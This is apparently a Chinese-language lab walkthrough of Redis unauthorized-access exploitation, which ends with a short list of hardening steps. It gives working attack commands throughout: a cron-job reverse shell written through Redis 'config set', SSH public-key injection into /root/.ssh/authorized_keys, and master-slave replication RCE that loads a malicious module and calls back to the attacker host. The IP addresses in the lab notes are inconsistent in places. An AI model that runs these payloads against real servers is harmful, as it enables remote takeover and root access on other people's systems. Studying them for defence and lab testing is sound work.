redis服务ip:192.168.65.163 (CentOs)
redis服务ip:192.168.65.158 (Ubuntu)
kali攻击机:192.168.65.158
因为这个redis未授权访问已经非常非常久了,所以redis官方早就发布新的版本了,如果想要复现的话,就得关闭一些保护的措施。
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -xvzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
vim redis.conf
bind 127.0.0.1前面加上#号 # bind 127.0.0.1
protected-mode设为no
启动redis服务 ./src/redis-server redis.conf
注意点:
1.启动的时候要带着配置文件允许
2.如果还是报错的话,可以把防火墙关了
3.以root身份允许redis
开个监听:
用nc看一下redis打开没有:
发现打开的,然后连接redis:
redis-cli -h 192.168.65.163
输入命令:
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.65.163/7999 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
反弹shell成功:
现在来回头分析几个redis的命令,更深入了解一些原理:
用于设置键值, 如果 key 已经存储其他值, SET 就覆写旧值,且无视类型 。
示例:
set xx "123"
设置键为:xx
xx键的值为:123
用于获取某个键的值
get xx
获取所有的键
分析一下命令:
1)
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.32.144/7999 0>&1\n"
设置键为:xx
值位:
\n* * * * * bash -i >& /dev/tcp/192.168.32.144/7999 0>&1\n
用 \n 的原因:
在后面加入定时执行任务的时候内容会有乱码:
使用 \n 可以屏蔽干扰
2)
config set dir /var/spool/cron/
把我们的配置导入反弹任务
3)
config set dbfilename root
设置导入的内容的文件名
4)
save
保存
关于Ubuntu无法利用写定时任务反弹shell:
1.ubuntu可以成功写入反弹的任务,但是上下文有乱码,ubuntu不会忽略这些乱码,所以不能执行。这是其一。
2.其二:ubuntu默认使用/bin/dash执行,需要把/bin/dash环境改成/bin/bash
注意:目标的/root下需要有.ssh目录,可以写入ssh公钥才能连接
先生成公钥私钥
ssh-keygen –t rsa
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>key.txt cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x -pass pass123 set pub config set dir /root/.ssh config set dbfilename authorized_keys save
ssh连接:
- 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
- 第二步,我们设置备份文件名为so文件
- 第三步,设置传输方式为全量传输(重点)
- 第四步加载恶意so文件,实现任意命令执行
全量传输:是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中 。
可利用的是redis4.x-5.x的版本
主动连接:
这个不同的脚本有不同的问题:
需要每个都试试,然后被动连接的exp.so也是在其他脚本中拷贝过来的
直接上脚本:
GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Serverzz
命令:
python redis-rogue-server.py --rhost 192.168.65.158 --lhost 192.168.65.154
r是反弹shell,i是直接进行交互
成功反弹shell:
被动连接:
使用脚本:
python redis_rogue_server.py -v -path exp.so
再使用受害机:
./redis-cli >config set dir /tmp >config set dbfilename exp.so >slaveof 192.168.65.154 15000 >module load ./exp.so >slaveof no one >system.rev 192.168.65.154 2333 (同时本地起一个监听)
注意点:
是config set,而不是set
是module load ./exp.so 而不是module load exp.so
system.rev => 反弹shell
再使用命令:
python3 -c 'import pty;pty.spawn("/bin/bash")'
使shell更容易操作:
1.设置用户用于启动redis,不要用root权限启动
2.设置本地redis访问,不允许远程访问。
3配置文件的保护模式(默认开启)
4.修改端口
5.requirepass 设置redis密码
参考文献:
渗透测试-Redis未授权访问漏洞之ubuntu反弹shell问题 - websec80 - 博客园
浅析Linux下Redis的攻击面(一)_环境